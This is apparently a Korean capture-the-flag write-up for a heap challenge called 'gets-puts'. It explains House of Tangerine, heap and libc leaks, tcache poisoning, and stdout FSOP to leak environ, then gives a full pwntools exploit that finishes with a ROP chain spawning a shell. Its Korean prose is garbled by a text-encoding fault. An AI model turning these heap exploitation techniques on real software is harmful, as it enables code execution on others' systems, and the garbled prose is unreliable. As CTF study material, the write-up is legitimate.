[Writeups][Club League 2025: Final] gets-puts
Club League 2025 Final์ ๋๊ฐ์ ํฌ๋๋ธ ํ๋๋ฅผ ํ์๋ค. ๋ง์ง๋ง์ libc๋ฅผ ์๋ชป ๋ฝ๊ณ ๋ก๋๋ฆฌ์ ๊ฑธ๋ ค์ ์ฉ์ํ๋ค๊ฐ ๋ค ๋๋ ค๋ถ์ ๋ป ํ๋๋ฐ, ๋คํํ๋ ๋ฆฌ๋ชจํธ์์ ๋ง๋ฌด๋ฆฌ๋ ๋ด ๋ถ์ด ํด์ฃผ์ จ๋ค.
1. ๋ฐ์ด๋๋ฆฌ ๋ถ์
IDA๋ก ๋ฐ๋ณผ ํ์๋ ์์ด ์ฝ๋๊ฐ ์ฃผ์ด์ก๋ค.
// gcc -o gets-puts main.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *ptr = 0;
char buf[32];
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
while (1) {
puts("1. malloc");
puts("2. gets");
puts("3. puts");
printf("> ");
scanf("%16s%*c", buf);
switch (atoi(buf)) {
case 1:
printf("size: ");
scanf("%16s%*c", buf);
ptr = malloc(atoi(buf));
break;
case 2:
gets(ptr);
break;
case 3:
puts(ptr);
break;
}
}
}
ํ์ค๋ฒ๊ฐ ๋ฐ๋ก ๋ณด์ธ๋ค. ๋ค๋ง ๊ด๋ฆฌํ ์ ์๋ ์ฒญํฌ๊ฐ ํ๋๋ฐ์ ์๊ณ ,
๋ฑํ free()๊ฐ ์๊ธฐ ๋๋ฌธ์ House of Tangerine์ ์๊ฐํด ๋ณผ ์ ์๋ค. checksec์ ํตํด ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ดํด๋ณด๋ฉด
์์ ๊ฐ์ด canary๋ ๊ฑธ๋ ค์์ง ์๊ธฐ ๋๋ฌธ์ ๋ง๋ฌด๋ฆฌ๋ environ + ROP๋ FSOP๋ฅผ ์ฌ์ฉํด๋ณผ ์ ์๊ฒ ๋ค ์๊ฐํ ์ ์๋ค.
2. House of Tangerine
์ฐ์ House of Tangerine์ ์ ๋ชป ์ฐ๊ธฐ ๋๋ฌธ์, ์์ ์ ๋์ถฉ ๊ณ์ฐํด๋๋ ์ซ์๋ค์ ์ฌ์ฉํ๋ค. ๊ณต๊ฒฉ ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ๋ค.
0x10ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํจ0xd00 - 0x10ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํจ- ํ ์ฒญํฌ์ ํฌ๊ธฐ๋ฅผ
0x51๋ก overwriteํจ 0x60ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํจ
์ด๋ ๊ฒ ํ๋ฉด ๊ธฐ์กด Top Chunk๊ฐ sysmalloc() ๊ฒฝ๋ก๋ฅผ ํ๋ฉฐ 0x20 ์ฒญํฌ๊ฐ ๋์ด tcache์ ๋ค์ด๊ฐ๋ฐ ๋๋ค. ์์ธํ ์๋ฆฌ๋ ๊ธฐ์ต๋ ์ ๋๊ณ ๊ณต๋ถํ ๋ ์ดํด๋ ์ ๋๋ก ๋ชป ํด์
์ ๋ชจ๋ฅด๊ฒ ๋ค. ๋์ค์ ๊ธฐํ๊ฐ ๋๋ฉด ์ข ๋ ์์ธํ ๋ถ์ํด์ ์จ๋ณด๋ ค ํ๋ค.
3. AAR / AAW
3-1. Heap Leak
ํ ๋ฆญ์ ๊ต์ฅํ ๊ฐ๋จํ๋ค. ์์ tcache์ ๋ฃ์ ์ฒญํฌ๋ฅผ ๊ทธ๋๋ก ํ ๋น๋ฐ์ ํ, key ํ๋๊ฐ zeroing ๋์๋ค๋ ์ ์ ๊ณ ๋ คํด 8๋ฐ์ดํธ๋งํผ ์๋ฌด ๋ฌธ์๋ก๋ ์ฑ์์ค ํ ์ฝ์ผ๋ฉด ๋๋ค.
malloc(0x10)
malloc(0xd00 - 0x10)
payload = b'A' * (0xd00 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
malloc(0x20)
puts()
heap = u64(b"\x00\x00\x00" + p.recvn(5)) >> 12
key = heap >> 12
success(f"heap: {hex(heap)} key: {hex(key)}")
3-1. Libc Leak
์ฐ์ ์์์ ์ ์ํ ๋ฐฉ๋ฒ์ผ๋ก๋ tcache์๋ฐ์ ์ฒญํฌ๋ฅผ ๋ชป ๋ฃ๊ธฐ ๋๋ฌธ์, ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์๊ฐํด์ผ ํ๋ค. ๊ทธ๋ฐ๋ฐ House of Tangerine์ ์ฐ์์ผ๋ก ์ฌ์ฉํด
0x20 ํฌ๊ธฐ์ free๋ ์ฒญํฌ๋ฅผ ๊ณ์ ํ ๋นํ๋ค ๋ณด๋ฉด ๊ฝค๋ ์ฌ๋ฏธ์๋ ์ฌ์ค์ ํ๋ ๋ฐ๊ฒฌํ ์ ์๋ค.
์์ ์ฌ์ง์์ ๋ณผ ์ ์๋ฏ ์๋ tcache๊ฐ ๊ฝ ์ฐฌ ์ํ์์ 0x20 ํฌ๊ธฐ์ ์ฒญํฌ๊ฐ free๋๋ฉด ๋ชจ๋ fastbin์ผ๋ก ๋ค์ด๊ฐ์ผ ํ๋๋ฐ, sysmalloc()์ด ํธ์ถ๋๋ฉฐ ๋ชจ์ข
์ ์ด์ ๋ก
์ฒญํฌ๋ค์ด ์์ ์ ์ฌ์ด์ฆ์ ๋ง๋ ๊ณณ์ผ๋ก ์ฌ๋ฐฐ์น๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค. ์ฆ smallbin์ ๋ค์ด๊ฐ ์ฒญํฌ๋ฅผ ๊บผ๋ด์จ ํ ๊ฐ์ ์ฝ์ผ๋ฉด unsorted bin์ ๋ค์ด๊ฐ๋ค ๋์จ ์ฒญํฌ์ฒ๋ผ
fd๊ฐ์ ์ฝ์ด main_arena+N ๊ฐ์ ์ฝ์ ์ ์๊ฒ ๋๊ณ , ์ด๋ฅผ ์ฌ์ฉํ๋ฉด libc leak์ด ๊ฐ๋ฅํด์ง๋ค.
# 1. fill tcache
for i in range(7):
malloc(0xf40 - 0x10)
payload = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
# 2. fastbin + smallbin
for i in range(2):
malloc(0xf40 - 0x10)
payload = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
# 3. empty tcache
for i in range(7):
malloc(0x20)
malloc(0x20) # fastbin
malloc(0x20) # smallbin
puts()
libc.address = u64(p.recvn(6) + b"\x00\x00") - 0x1d2ce0
success(f"libc: {hex(libc.address)}")
3-2. Tcache Poisoning
๊ฐ์ฅ ์ง์ฅ๊ฐ์ ๋ถ๋ถ์ด์๋ค. ์ฒญํฌ๋ฅผ ํ๋๋ฐ์ ๊ด๋ฆฌํ ์ ์๊ณ ์ค๋ฒํ๋ก์ฐ๋ ๋ฎ์ ๋ฐฉํฅ์์ ๋์ ๋ฐฉํฅ์ผ๋ก ์ผ์ด๋๊ธฐ ๋๋ฌธ์, ๋ญ๊ฐ fastbin reverse into tcache์ ๋น์ทํ ๋ฐฉ๋ฒ์ ์จ์ผ ํ๋ค. ๊ทธ๋ฐ๋ฐ House of Tangerine์ ์ฌ์ฉํด ์ฒญํฌ๋ฅผ ํด์ ์ํค๋ฉด ์ฌ๋ฐฐ์น๊ฐ ์ผ์ด๋ fastbin์ ๋ค์ด์๋ ์ฒญํฌ๋ค์ด ์์ ์ ํฌ๊ธฐ์ ๋ง๋ bin์ผ๋ก ์ด๋ํ๋, ์ด๊ฑธ ์ธ ์๋ ์์๋ค. ๊ทธ๋์ ์ด๋ฐ ๊ณต๊ฒฉ๋ฐฉ์์ ์จ๋ชธ์ ๋นํ์ด์ ์๊ฐํด๋๋ค.
- tcache๋ฅผ ์ฑ์ด๋ค. 1๋ฒ์ฒญํฌ๋ถํฐ 7๋ฒ์ฒญํฌ๊ฐ ๋ค์ด๊ฐ๋ค ์น์.
- 4๊ฐ์ ์ฒญํฌ๋ฅผ ๋
free()ํ๋ค. A, B, C, D๊ฐ free๋์๋ค๊ณ ์น๋ฉด bin์ ๋ชจ์ต์ด ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ด๋ค.
ย ยfastbin: D
ย ยsmallbin: A โ B โ C (์ฐธ๊ณ ๋ก smallbin์ FIFO๋ค!) - tcache๋ฅผ ๋น์ด ํ, ์ฒญํฌ๋ฅผ ํ๋ ๊บผ๋ด๋ฉด
fastbin์ D๊ฐ ๋๊ฐ ๊ฒ์ด๋ค. - ์ฒญํฌ๋ฅผ ํ๋ ๋ ๊บผ๋ด๋ฉด,
smallbin์ ์ฒญํฌ A๊ฐ ๋๊ฐ๊ณผ ๋์์ ๋จ์ ์ฒญํฌ๋ค์ดtcache๋ก ๋ค์ด๊ฐ๋ค. - ๊ทธ๋ฌ๋ A๋ B, C๋ณด๋ค ๋์ ์ฃผ์์ ์กด์ฌํ๊ธฐ ๋๋ฌธ์, ๊ฐ๋จํ heap overflow๋ฅผ ํตํด tcache poisoning์ด ๊ฐ๋ฅํด์ง๋ค.
์ด ์ ๋๋ก ์จ๋ชธ์ ๋นํธ๋ ๋ฌธ์ ๋ ์๋์๋๋ฐ, ์ด์จ๋ ์ด๋ ๊ฒ AAW/AAR ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ์ป์ ์ ์์๋ค.
4. Exploit
์ด์ ํ ๊ฑด ๋ค ํ๋ค. ๋ง๋ฌด๋ฆฌ๋ FSOP๋ก environ ์ ์ถ ํ gets()์ return address ์คํ์
๊ณ์ฐ, system("/bin/sh")๋ก ROP๋ฅผ ์์ฑํด์ ๋ง๋ฌด๋ฆฌํ๋ค.
์ ์ฒด ์ต์คํ๋ก์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
ํผ์น๊ธฐ/์ ๊ธฐ
from pwn import *
p = process("./gets-puts")
# context.binary = "./gets-puts"
libc = ELF("libc.so.6")
# context.log_level = "debug"
def malloc(sz):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b": ", str(sz).encode())
def gets(data):
p.sendlineafter(b"> ", b'2')
p.sendline(data)
def puts():
p.sendlineafter(b"> ", b'3')
# 1st tcache
malloc(0x10)
malloc(0xd00 - 0x10)
payload = b'A' * (0xd00 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
malloc(0x20)
puts()
heap = u64(b"\x00\x00\x00" + p.recvn(5)) >> 12
key = heap >> 12
success(f"heap: {hex(heap)} key: {hex(key)}")
# 1. fill tcache
for i in range(7):
malloc(0xf40 - 0x10)
payload = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
# 2. fastbin + smallbin
for i in range(2):
malloc(0xf40 - 0x10)
payload = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
# 3. empty tcache
for i in range(7):
malloc(0x20)
malloc(0x20) # fastbin
malloc(0x20) # smallbin
puts()
libc.address = u64(p.recvn(6) + b"\x00\x00") - 0x1d2ce0
success(f"libc: {hex(libc.address)}")
###############################################
# 1. fill tcache
for i in range(7):
malloc(0xf40 - 0x10)
payload = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
gdb.attach(p, "set solib-search-path /home/flyahn06/SecurityFACT/club_league_2025_final/gets-puts/for_user"); pause(1)
# 2. fastbin + smallbin
for i in range(4):
malloc(0xf40 - 0x10)
payload = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
# 3. empty tcache
for i in range(7):
malloc(0x20)
malloc(0x20)
malloc(0x20)
payload = b"A" * (0x44000 - 0x8)
payload += p64(0x31) + p64((libc.symbols["_IO_2_1_stdout_"]) ^ (key + 0x285))
gets(payload)
malloc(0x20)
malloc(0x20)
payload = p64(0xfbad2887)
payload += p64(libc.symbols["_IO_2_1_stdout_"] + 0x83)
payload += p64(libc.symbols["environ"]) # _IO_read_end
payload += p64(libc.symbols["_IO_2_1_stdout_"] + 0x83) # _IO_read_base
payload += p64(libc.symbols["environ"]) # _IO_write_base
payload += p64(libc.symbols["environ"] + 0x8) # _IO_write_ptr
payload += p64(libc.symbols["environ"] + 0x8) # _IO_write_end
payload += p64(libc.symbols["_IO_2_1_stdout_"] + 0x83) # buf base...
payload += p64(libc.symbols["_IO_2_1_stdout_"] + 0x84) # buf base...
gets(payload)
env = u64(p.recvn(6) + b"\x00\x00")
#############################################
# 1. fill tcache
for i in range(7):
malloc(0xf40 - 0x10)
payload = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
# 2. fastbin + smallbin
for i in range(4):
malloc(0xf40 - 0x10)
payload = b"A" * (0xf40 - 0x8)
payload += p64(0x51)
gets(payload)
malloc(0x60)
# 3. empty tcache
for i in range(7):
malloc(0x20)
malloc(0x20)
malloc(0x20)
payload = b"A" * (0x44000 - 0x8)
print(env - 0x198, key + 0x3fb)
payload += p64(0x31) + p64((env - 0x198) ^ (key + 0x3fb))
gets(payload)
malloc(0x20)
malloc(0x20)
success(f"target: {hex(env - 0x198)}")
payload = b'A' * 0x8
payload += b'B' * 0x8
payload += b'C' * 0x8
payload += b'C' * 0x8
payload += b'C' * 0x8
payload += p64(libc.address + 0x0000000000027725)
payload += p64(libc.address + 0x196031)
payload += p64(libc.address + 0x00000000000270c2)
payload += p64(libc.symbols["system"])
gets(payload)
p.interactive()5. ์ฌ๋ด
์ธํ
์ ๋น์ฐํ ์ด๋ฐ๊ตฌ๋ก ํธ๋ ๊ฑด ์๋๊ณ , unsorted bin์ ํตํ leak + FSOP๋ก ์์ ์ป๋ ๊ฑฐ์๋ค. ๋ exit()์ด ํธ์ถ๋ ๋ _IO_close_all()์ ํตํ FSOP ๋ฐฉ๋ฒ๋ง
์๊ณ ์์ด์ ์ฐ์ง ๋ชปํ๋๋ฐ, ์ข ์ฐ๊ตฌํด๋ด์ผ๊ฒ ๋ค.
Leave a comment